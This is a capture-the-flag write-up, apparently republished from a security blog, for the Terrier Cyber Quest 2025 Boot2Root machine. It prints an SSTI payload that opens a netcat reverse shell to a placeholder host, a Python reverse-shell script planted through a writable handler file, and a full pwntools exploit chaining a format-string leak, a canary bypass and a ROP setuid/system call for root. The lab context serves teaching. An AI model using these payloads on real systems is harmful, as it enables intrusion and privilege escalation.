Terrier Cyber Quest 2025 — Brief Write-up
文章描述了一次Boot2Root CTF比赛的详细过程。参与者通过nmap扫描发现Web服务器并使用ffuf进行目录爆破,找到存在SSTI漏洞的页面以获取初始访问权限。随后分析隐藏数据和 pcapng 文件以获取 SSH 凭证并登录到 flower 用户。通过修改 daemon.py 脚本实现 leaf 用户提权,并利用 challenge 二进制文件中的栈溢出漏洞进一步提升至 stem 用户权限。最后通过对 final 二进制文件进行格式化字符串攻击和 ROP 链构造获得 root 权限并完成比赛任务。 2025-9-26 05:7:10 Author: infosecwriteups.com(查看原文) 阅读量:8 收藏

Somnath Das

Quick but complete walk-through for the Boot2Root CTF hosted during Cyber Quest 2025.

Press enter or click to view image in full size

Featured Image.

Initial Access

Ran an nmap scan —

sudo nmap -sC 192.168.57.24 -A -v -p-

Press enter or click to view image in full size

Result for the nmap scan.

We found a web-server running at 5000

Press enter or click to view image in full size

Service Information from the nmap scan.

Fuzzed directories and endpoints using ffuf.

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.57.24:5000/FUZZ -fs 3806

Press enter or click to view image in full size

Found a page using ffuf.

Went to the page and tested for SSTI and confirmed it.

Press enter or click to view image in full size

Entering a generic payload to test for SSTI.

Press enter or click to view image in full size

Confirmation that SSTI exists.

Entered the following payload and gained a foot-hold.

{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('nc -e /bin/bash IP PORT').read()}}

Got the first flag — FLAG -> S3Cur1ty_Br3@k_P@55ed.

Press enter or click to view image in full size

Shell access obtained as a foothold on the server.

Found a suspicious directory at /

Press enter or click to view image in full size

Found a note that contained hint for the next challenge.

Following the hint, investigated the pcapng file and copied all ICMP data -

Press enter or click to view image in full size

Using wireshark to investigate the “pcapng” file for further information.

Hex-decoding it, we obtained the following encoded text —

22gSOqdlldjDbbIxZ4NPAeodlIvKmMGjj3ZTw9D5fXc1ffsERpc7CznmEVd1BhfbqbQaIJ5s4

Finally using CyberChef, we decoded it to Pass:H1dden_W0rlD_UnD3r_Bit

Press enter or click to view image in full size

Using CyberChef to decode the found string.

We also found a Container.png file and exported it —

Press enter or click to view image in full size

Using wireshark to export “PNG” file from the capture file.

After that we used a tool OpenStego and got the creds for flower
F!ow3r#92@tY8&Vk

Press enter or click to view image in full size

Using OpenStego application to extract hidden data from the “PNG” image.

Also, we observe that we have more users apart from root -

Press enter or click to view image in full size

cat /etc/passwd

Privilege Escalation — Stage 1

We obtained shell to flower using ssh

Press enter or click to view image in full size

ssh session for the user “flower”.

During recon we found a directory called handler, clearly we can see different permissions for different users.

Press enter or click to view image in full size

Listed contents of a suspicious directory.

When I checked for running processes, I saw daemon.py which was inside /handler directory running as leaf user —

Press enter or click to view image in full size

A python script running as “leaf” user.

Further investigating daemon.py I found out that it copies handler.py from /handler to /tmp/ directory as leaf user and then executes it as leaf user. I also noticed that I had privilege of rw for /handler/handler.py file and so I modified it.

#!/usr/bin/env python3
import socket, os, pty, sys, time, traceback

HOST = "127.0.0.1"
PORT = 6969
CONNECT_TIMEOUT = 6.0

def main():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(CONNECT_TIMEOUT)
s.connect((HOST, PORT))
s.settimeout(None)
try:
s.sendall(b"handler: connected - spawning PTY shell\n")
except Exception:
pass
except Exception as e:
time.sleep(0.2)
return

fd = s.fileno()
os.dup2(fd, 0)
os.dup2(fd, 1)
os.dup2(fd, 2)

try:
pty.spawn("/bin/sh")
except Exception:
try:
os.execv("/bin/sh", ["/bin/sh", "-i"])
except Exception:
try:
s.close()
except Exception:
pass

if __name__ == "__main__":
try:
main()
except Exception:
traceback.print_exc()
time.sleep(0.2)

We can trigger daemon.py to copy handler.py to /tmp/handler_exec.py as leaf user by doing nc -nvlp 8080 so that it tries to make a connection —

Press enter or click to view image in full size

Making a connection to localhost port 8080 using netcat.

And we pwned leaf user —

Press enter or click to view image in full size

Obtained shell to “leaf” user.

Obtained the third flag FLAG -> Y0u_kn0w_i5_th15_RaC3

Showing contents of the F14@_thr33.txt file.

Privilege Escalation — Stage 2

From recon we also found out that /bin/ contained a binary that runs as stem and leaf user is allowed to execute it.

Press enter or click to view image in full size

Listing a binary file called “challenge” that has “suid” bit set meaning it runs as “stem” user.

We obtain this challenge file and investigate. Most likely a pwn challenge.

Press enter or click to view image in full size

Basic information and execution of the “challenge” program.

We use decompiler and it looks like a ret2win challenge —

Press enter or click to view image in full size

win() function Pseudo C code from Binary Ninja decompiler.

We see that username that we need to enter is john from —

Press enter or click to view image in full size

Pseudo C code from Binary Ninja decompiler.

Then we have a password_check() function, it is about making sure of a few constraints regarding string and there exists multiple such string that will satisfy as the password, you can use GPTs to find those strings —

Press enter or click to view image in full size

Pseudo C code from Binary Ninja decompiler.

Also on a side-note, we see that Partial RELRO simply moves the GOT above the program’s variables, meaning you can’t overflow into the GOT but IT IS WRITEABLE and it is NOT a position independent executable.

Press enter or click to view image in full size

Protections for ./challenge binary.

We also notice that using Index and then Name we can arbitrarily overwrite memory (not really) but in our case we can overwrite GOT table entry to win() function.

Press enter or click to view image in full size

Pseudo C code from Binary Ninja decompiler.

Here, we are able to overwrite exit@got[plt] entry with win() function and thus popping up a shell as stem.

Press enter or click to view image in full size

GDB Window with the exploit script.

We have obtained stem user —

Press enter or click to view image in full size

Executing the exploit.

Thus the 4th flag FLAG -> PwN_2_0wN_N0w_Y0u_ar3_5t3M

Listening files and printing the contents of F14@_f0ur.txt file.

Privilege Escalation — Stage 3

Doing recon we found another binary called final

Press enter or click to view image in full size

A binary called “final” that has “suid” bit set that is it will run as “root” user.

Upon inspecting the binary, we found a Format String Vulnerability that we can use to leak memory addresses for libc, binary and also to leak stack canary

Press enter or click to view image in full size

main() Pseudo C code from Binary Ninja decompiler.

Upon debugging along with error and trial we figured out that at the following position we are getting addresses for __libc_start_call_main(), stack canary and main()

Press enter or click to view image in full size

Showing memory leak found in ./final binary.

And the following function had Stack Buffer Overflow vulnerability —

Press enter or click to view image in full size

sub_401223() Pseudo C code from Binary Ninja decompiler.

Even though this ./final challenge had all the protections ON it doesn’t matter because we are able to leak stack then perform return oriented programming to call libc functions —

Press enter or click to view image in full size

Showing memory protections for the given “./final” binary.

Here’s my exploit to pwn the ./final challenge —

from pwn import *

p = process("/bin/final")

p.sendline(b"%43$p-%61$p-%64$p")

leak = p.clean().split(b'Your Name:\n')[1].split(b'\n\n')[0].split(b'-')
canary = int(leak[1].decode(), 16)
main_addr = int(leak[2].decode(), 16)

libc_start_call_main = int(leak[0].decode(), 16) - 120 #__libc_start_call_main
libc_start_main = libc_start_call_main + 0xae # __libc_start_main
libc_base_addr = libc_start_main - 0x2a200 # 0x2a200 = libc_start_main - offset of __libc_start_main
binsh = libc_base_addr + 0x1cb42f # 0x1cb42f = offset in libc.so.6 for "/bin/sh" string
libc_system = libc_base_addr + 0x58750 # 0x58750 = offset in libc.so.6 for "system()" call
libc_pop_rdi_ret = libc_base_addr + 0x10f75b # pop rdi; ret gadget in libc.so.6
libc_ret = libc_base_addr + 0x10f75c # ret; gadget in libc.so.6
libc_setuid = libc_base_addr + 0x10ea90 # setuid() call in libc.so.6

real_canary = p64(canary)
real_main_addr = p64(main_addr)
real_libc_system = p64(libc_system)
real_binsh = p64(binsh)
real_libc_pop_rdi_ret = p64(libc_pop_rdi_ret)
real_libc_ret = p64(libc_ret)
real_libc_setuid = p64(libc_setuid)

print("[+] Obtained Canary :: {}".format(leak[1]))
print("[+] main() Address :: {}".format(leak[2]))
print("[+] __libc_start_main() Address :: {}".format(hex(libc_start_main)))
print("[+] libc_base_addr Address :: {}".format(hex(libc_base_addr)))

#p.close()
#exit()

payload = b""
payload += b"A" * 0x48 # buffer
payload += real_canary # canary
payload += b"B" * 0x8 # saved_rbp

payload += real_libc_pop_rdi_ret # pop rdi; ret
payload += p64(0)
payload += real_libc_ret # ret;
payload += real_libc_setuid # setuid(0)

payload += real_libc_pop_rdi_ret # pop rdi; ret
payload += real_binsh # "/bin/sh"
payload += real_libc_ret # ret;
payload += real_libc_system # system()

payload += b"\x90" * 0x8

p.send(payload)

print(p.clean())

p.interactive()

Once you run python3 final_pwn.py script and boom we obtained our final flag — D4Y_0_T0_zeR0_d4Y.

Press enter or click to view image in full size

“root” user shell obtained by exploiting suid binary “./final”.

Afterwords

😸 Thank you for reading this brief write-up. I’d like to post a longer one for the last challenge about binary exploitation if I am in mood. Let me know if you have any questions. Happy hacking💖.


文章来源: https://infosecwriteups.com/terrier-cyber-quest-2025-brief-write-up-b001310d025c?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh